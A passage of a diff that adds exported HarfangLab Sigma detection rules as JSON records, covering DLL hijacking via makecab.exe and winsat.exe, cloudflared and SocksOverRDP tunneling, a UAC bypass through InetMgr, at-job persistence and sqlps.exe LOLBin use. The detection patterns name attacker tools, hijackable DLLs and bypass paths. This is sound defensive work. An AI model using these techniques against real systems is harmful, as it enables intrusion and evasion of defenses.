+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "15f0e956-c482-487d-a3f5-28d5c667c6a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598362Z",
+  "creation_date": "2026-03-23T11:45:34.598366Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598374Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1053/002/"
+  ],
+  "name": "t1053_002_at_jobs_created.yml",
+  "content": "title: At Jobs Created\nid: 15f0e956-c482-487d-a3f5-28d5c667c6a3\ndescription: |\n    Detects the creation of an at job file.\n    Adversaries may use at to execute programs at system startup or on a scheduled basis for persistence.\n    It is recommended to check the content of the file for suspicious command and the activity of the process creating the file for other suspicious actions.\nreferences:\n    - https://attack.mitre.org/techniques/T1053/002/\ndate: 2024/07/23\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1053.002\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    product: macos\n    category: filesystem_event\ndetection:\n    selection_files:\n        - Path|startswith: '/private/var/at/jobs/'\n        - TargetPath|startswith: '/private/var/at/jobs/'\n\n    selection_access:\n        Kind:\n            - 'create'\n            - 'rename'\n        ProcessImage|contains: '?'\n\n    condition: all of selection_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "15f0e956-c482-487d-a3f5-28d5c667c6a3",
+  "rule_name": "At Jobs Created",
+  "rule_description": "Detects the creation of an at job file.\nAdversaries may use at to execute programs at system startup or on a scheduled basis for persistence.\nIt is recommended to check the content of the file for suspicious command and the activity of the process creating the file for other suspicious actions.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "15f6d712-e496-4981-8fd1-3626e0c36d24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097842Z",
+  "creation_date": "2026-03-23T11:45:34.097844Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097848Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_makecab.yml",
+  "content": "title: DLL Hijacking via makecab.exe\nid: 15f6d712-e496-4981-8fd1-3626e0c36d24\ndescription: |\n    Detects potential Windows DLL Hijacking via makecab.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'makecab.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\Cabinet.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "15f6d712-e496-4981-8fd1-3626e0c36d24",
+  "rule_name": "DLL Hijacking via makecab.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via makecab.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "15fa5274-bd22-4eb6-862a-dfc8deceaaf8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082797Z",
+  "creation_date": "2026-03-23T11:45:34.082799Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082804Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/nccgroup/SocksOverRDP",
+    "https://attack.mitre.org/techniques/T1572"
+  ],
+  "name": "t1572_socks_over_rdp_configuration_set.yml",
+  "content": "title: SocksOverRDP Registry Configuration Set\nid: 15fa5274-bd22-4eb6-862a-dfc8deceaaf8\ndescription: |\n    Detects the SocksOverRDP registry configuration being set in registry.\n    SocksOverRDP is an RDP tunneling tool that can be registered via \"regsvr32.exe\" with its DLL, that is usually placed in the \"%SystemRoot%\\system32\\\"\" or \"%SystemRoot%\\SysWoW64\\\" folder.\n    When registered, the plugin listens on the port specified in the \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Terminal Server Client\\Default\\AddIns\\SocksOverRDP-Plugin\" registry key.\n    Adversaries may use the RDP protocol to route traffic and communicate with their C2 as a way to bypass network protections.\n    It is recommended to inspect the network traffic of the process, the registry paths mentioned above, the registry key, and any \"regsvr32.exe\" related alerts to determine if this plugin was installed maliciously.\nreferences:\n    - https://github.com/nccgroup/SocksOverRDP\n    - https://attack.mitre.org/techniques/T1572\ndate: 2025/09/24\nmodified: 2025/09/30\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1572\n    - attack.lateral_movement\n    - attack.t1021.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Tunneling\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|contains: '\\AddIns\\SocksOverRDP-Plugin'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "15fa5274-bd22-4eb6-862a-dfc8deceaaf8",
+  "rule_name": "SocksOverRDP Registry Configuration Set",
+  "rule_description": "Detects the SocksOverRDP registry configuration being set in registry.\nSocksOverRDP is an RDP tunneling tool that can be registered via \"regsvr32.exe\" with its DLL, that is usually placed in the \"%SystemRoot%\\system32\\\"\" or \"%SystemRoot%\\SysWoW64\\\" folder.\nWhen registered, the plugin listens on the port specified in the \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Terminal Server Client\\Default\\AddIns\\SocksOverRDP-Plugin\" registry key.\nAdversaries may use the RDP protocol to route traffic and communicate with their C2 as a way to bypass network protections.\nIt is recommended to inspect the network traffic of the process, the registry paths mentioned above, the registry key, and any \"regsvr32.exe\" related alerts to determine if this plugin was installed maliciously.\n",
+  "rule_creation_date": "2025-09-24",
+  "rule_modified_date": "2025-09-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.001",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "161d8bc5-7221-45bb-8d1d-89c6eae319c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619209Z",
+  "creation_date": "2026-03-23T11:45:34.619211Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619215Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/cloudflare/cloudflared",
+    "https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/",
+    "https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/",
+    "https://www.intrinsec.com/akira_ransomware/",
+    "https://attack.mitre.org/techniques/T1102/"
+  ],
+  "name": "t1102_cloudflare_tunnel.yml",
+  "content": "title: Suspicious Cloudflare Binary Execution\nid: 161d8bc5-7221-45bb-8d1d-89c6eae319c4\ndescription: |\n    Detects the suspicious execution of a Cloudflare binary to establish a tunnel, a technique commonly used by threat actors to create stealthy, outbound-only connections for remote access and data exfiltration.\n    This technique allows attackers to bypass firewalls and maintain persistent access to compromised systems without exposing public IP addresses.\n    It is recommended to investigate the context in which this command was executed and to verify if the usage of this tool is legitimate in your infrastructure.\nreferences:\n    - https://github.com/cloudflare/cloudflared\n    - https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/\n    - https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/\n    - https://www.intrinsec.com/akira_ransomware/\n    - https://attack.mitre.org/techniques/T1102/\ndate: 2025/05/15\nmodified: 2025/06/11\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1102\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        Image|endswith:\n            - '\\cloudflared.exe'\n            - '\\cloudflared-windows-386.exe'\n            - '\\cloudflared-windows-amd64.exe'\n\n    selection_imphash:\n        Imphash:\n            - '2548C430C08A1B7D76EDE5D863ADB956'\n            - 'fc22e4f95641f6606222121e1a8a8508'\n\n    selection_run:\n        CommandLine|contains|all:\n            - ' tunnel '\n            - ' run'\n\n    selection_token:\n        CommandLine|contains:\n            - ' --token '\n            - ' --token-file '\n            - ' --config '\n\n    selection_service:\n        CommandLine|contains|all:\n            - ' service '\n            - ' install'\n\n    selection_url:\n        CommandLine|contains|all:\n            - ' tunnel '\n            - ' --url '\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    condition: (selection_image or selection_imphash) and ((selection_run and selection_token) or selection_service or selection_url) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "161d8bc5-7221-45bb-8d1d-89c6eae319c4",
+  "rule_name": "Suspicious Cloudflare Binary Execution",
+  "rule_description": "Detects the suspicious execution of a Cloudflare binary to establish a tunnel, a technique commonly used by threat actors to create stealthy, outbound-only connections for remote access and data exfiltration.\nThis technique allows attackers to bypass firewalls and maintain persistent access to compromised systems without exposing public IP addresses.\nIt is recommended to investigate the context in which this command was executed and to verify if the usage of this tool is legitimate in your infrastructure.\n",
+  "rule_creation_date": "2025-05-15",
+  "rule_modified_date": "2025-06-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1102"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1620a6e2-1bb5-4d3e-a9f4-f8a339518b1d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587736Z",
+  "creation_date": "2026-03-23T11:45:34.587740Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587748Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_winsat.yml",
+  "content": "title: DLL Hijacking via winsat.exe\nid: 1620a6e2-1bb5-4d3e-a9f4-f8a339518b1d\ndescription: |\n    Detects potential Windows DLL Hijacking via winsat.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'winsat.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\d3d10_1core.dll'\n            - '\\d3d10_1.dll'\n            - '\\d3d10core.dll'\n            - '\\d3d10.dll'\n            - '\\d3d11.dll'\n            - '\\dxgi.dll'\n            - '\\version.dll'\n            - '\\winmm.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1620a6e2-1bb5-4d3e-a9f4-f8a339518b1d",
+  "rule_name": "DLL Hijacking via winsat.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via winsat.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1659265d-21ea-4fb4-8440-e0a5ea0f2567",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092433Z",
+  "creation_date": "2026-03-23T11:45:34.092435Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092440Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME"
+  ],
+  "name": "t1548_002_uac_bypass_inetmgr.yml",
+  "content": "title: UAC Bypass Executed via InetMgr\nid: 1659265d-21ea-4fb4-8440-e0a5ea0f2567\ndescription: |\n    Detection of UAC bypass for `InetMgr.exe`.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to investigate the process that created the suspicious unsigned DLL mscoree.dll for suspicious activities.\nreferences:\n    - https://github.com/hfiref0x/UACME\ndate: 2021/01/08\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: '\\Windows\\System32\\inetsrv\\InetMgr.exe'\n        ImageLoaded|endswith: '\\mscoree.dll'\n    cond_ms_signed:\n        Signed: 'true'\n        Signature|contains:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n    condition: selection and not cond_ms_signed\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1659265d-21ea-4fb4-8440-e0a5ea0f2567",
+  "rule_name": "UAC Bypass Executed via InetMgr",
+  "rule_description": "Detection of UAC bypass for `InetMgr.exe`.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to investigate the process that created the suspicious unsigned DLL mscoree.dll for suspicious activities.\n",
+  "rule_creation_date": "2021-01-08",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1677f32b-ab7c-4b86-a079-48c3166975e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595711Z",
+  "creation_date": "2026-03-23T11:45:34.595714Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595722Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/",
+    "https://docs.microsoft.com/en-us/sql/tools/sqlps-utility",
+    "https://twitter.com/MsftSecIntel/status/1526680337216114693",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1127/"
+  ],
+  "name": "t1059_001_suspicious_sqlps_execution.yml",
+  "content": "title: Suspicious sqlps.exe Execution\nid: 1677f32b-ab7c-4b86-a079-48c3166975e0\ndescription: |\n    Detects the suspicious execution of the legitimate sqlps.exe Windows binary, a PowerShell wrapper for running SQL-built cmdlets which is a utility included with Microsoft SQL Server.\n    Attackers can use this utility as a LOLBin to bypass security restrictions.\n    It is recommended to investigate the legitimacy of the process responsible for the execution of sqlps.exe and to analyze child processes.\nreferences:\n    - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/\n    - https://docs.microsoft.com/en-us/sql/tools/sqlps-utility\n    - https://twitter.com/MsftSecIntel/status/1526680337216114693\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1127/\ndate: 2022/06/07\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.defense_evasion\n    - attack.t1127\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Sqlps\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        # Microsoft SQL Server 100 and 110 are PowerShell v2\n        # Microsoft SQL Server 120 and 130 are PowerShell v4\n        OriginalFileName: 'SQLPS.exe'\n    exclusion_legitimate_parent:\n        ParentCommandLine|contains:\n            - '\\MSSQL\\Binn\\SQLAGENT.EXE -i '\n            - '\\Tools\\Binn\\ManagementStudio\\Ssms.exe'\n            - '\\Tools\\Binn\\SQLPS.exe agentjob'\n\n    exclusion_interactive_shell:\n        ProcessParentImage|endswith:\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n            - '\\pwsh.exe'\n        ProcessGrandparentImage|endswith: '\\explorer.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1677f32b-ab7c-4b86-a079-48c3166975e0",
+  "rule_name": "Suspicious sqlps.exe Execution",
+  "rule_description": "Detects the suspicious execution of the legitimate sqlps.exe Windows binary, a PowerShell wrapper for running SQL-built cmdlets which is a utility included with Microsoft SQL Server.\nAttackers can use this utility as a LOLBin to bypass security restrictions.\nIt is recommended to investigate the legitimacy of the process responsible for the execution of sqlps.exe and to analyze child processes.\n",
+  "rule_creation_date": "2022-06-07",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1127"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1693e403-2800-4cd4-b918-144cf1d96336",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609367Z",
+  "creation_date": "2026-03-23T11:45:34.609370Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609377Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675",
